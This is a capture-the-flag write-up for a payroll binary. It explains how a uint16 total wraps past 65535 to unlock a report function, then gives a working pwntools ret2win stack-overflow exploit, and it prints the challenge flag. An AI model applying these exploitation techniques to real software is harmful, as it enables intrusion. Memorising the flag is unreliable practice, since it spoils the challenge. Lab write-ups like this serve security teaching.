Flag: MetaCTF{uint16_wr4p_0p3ns_th3_v4ult}
The binary is a payroll manager called BudgetWarden. It has a menu: add an employee, generate a report, or quit. The report option is gated: "Monthly payroll exceeds budget cap" if the total is too high.
First thing, as always, run checksec:
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
No canary, no PIE. Classic ret2win setup if we can get there!
The binary opens with "Loaded existing records. Monthly total: $65072". This is already above the $1000 budget cap, so the report option is locked from the start.
The menu loop adds salaries to a running total. If total is under 1000, the report function unlocks. Looking at the binary in Ghidra, the total variable is a uint16_t. That's a 16-bit unsigned integer, which has a max value of 65535.
Add employees until the total wraps past 65535 and falls below 1000. For example, we can do three employees at 22000 each: 65072 + 3 * 22000 = 65072 + 66000 = 131072. A uint16 overflows modulo 65536, so 131072 mod 65536 = 0. The total is now 0, which is obviously well under the budget limit of 1000! The report option is unlocked.
Inside generate_report(), after printing the prompt, the binary calls:
read(0, title, 512);
title is a 64-byte stack buffer, but this call can write 512 bytes into it. No canary to worry about, and there's a print_flag() function at a fixed address (no PIE) that opens and prints the flag file.
Stack layout of generate_report:
There are 72 bytes of padding between us and the return address, which we'll overwrite with the address of print_flag().
$ objdump -d -M intel payroll | grep -B 1 '/srv/app/flag.txt' | head
...
4011b3: 48 8d 35 4a 0e 00 00 lea rsi,[rip+0xe4a] # 402004
4011ba: 48 8d 3d 45 0e 00 00 lea rdi,[rip+0xe45] # 402006
The function start is just above that LEA: 4011a6 <print_flag> in the unstripped binary, or back up to the previous endbr64/push prologue in the stripped one.
PADDING = b'A' * 72
payload = PADDING + p64(0x4011a6)
python3 exploit.py <host> <port>
Or locally:
python3 -c "
from pwn import *
p = process('./chal/payroll')
# Binary starts at total=65072 (pre-loaded records). Three employees at 22000:
# 65072 + 66000 = 131072 = 2*65536, wraps to 0 < 1000 -> report unlocked.
for _ in range(3):
p.sendlineafter(b'> ', b'1')
p.sendlineafter(b'salary: ', b'22000')
p.sendlineafter(b'> ', b'2')
p.sendlineafter(b'title: ', b'A'*72 + p64(0x4011a6))
p.interactive()
"
#!/usr/bin/env python3
from pwn import *
# Binary: no PIE, no canary, no stack protector
# print_flag is at a fixed address -- find it with:
# objdump -d payroll | grep -B1 'flag.txt'
# or use the unstripped binary: nm payroll.unstripped | grep print_flag
PRINT_FLAG = 0x4011a6
# generate_report() stack layout:
# push rbx (+8 bytes for saved rbx)
# sub $0x40, %rsp (64-byte title buffer at rsp+0)
# ...
# read(0, rsp, 0x200) -- 512 bytes into 64-byte buffer
#
# Offset to saved rbx: 64 bytes
# Offset to return addr: 72 bytes
PADDING = b'A' * 72
def exploit(host, port):
p = remote(host, port) if host else process('./chal/payroll')
# Step 1: overflow the uint16 total
# Binary starts with total=65072 (pre-loaded records).
# 65072 + 3*22000 = 131072 = 2*65536, wraps to 0 < 1000 (budget limit).
for _ in range(3):
p.sendlineafter(b'> ', b'1')
p.sendlineafter(b'salary: ', b'22000')
# Step 2: trigger the vulnerable generate_report() path
p.sendlineafter(b'> ', b'2')
p.recvuntil(b'title: ')
p.send(PADDING + p64(PRINT_FLAG))
# print_flag writes the flag to the unbuffered socket, then returns
# into garbage and the process segfaults — recv whatever is buffered.
try:
data = p.recvall(timeout=3)
except EOFError:
data = b''
print(data.decode(errors='replace'))
if __name__ == '__main__':
import sys
if len(sys.argv) == 3:
exploit(sys.argv[1], int(sys.argv[2]))
else:
exploit(None, None)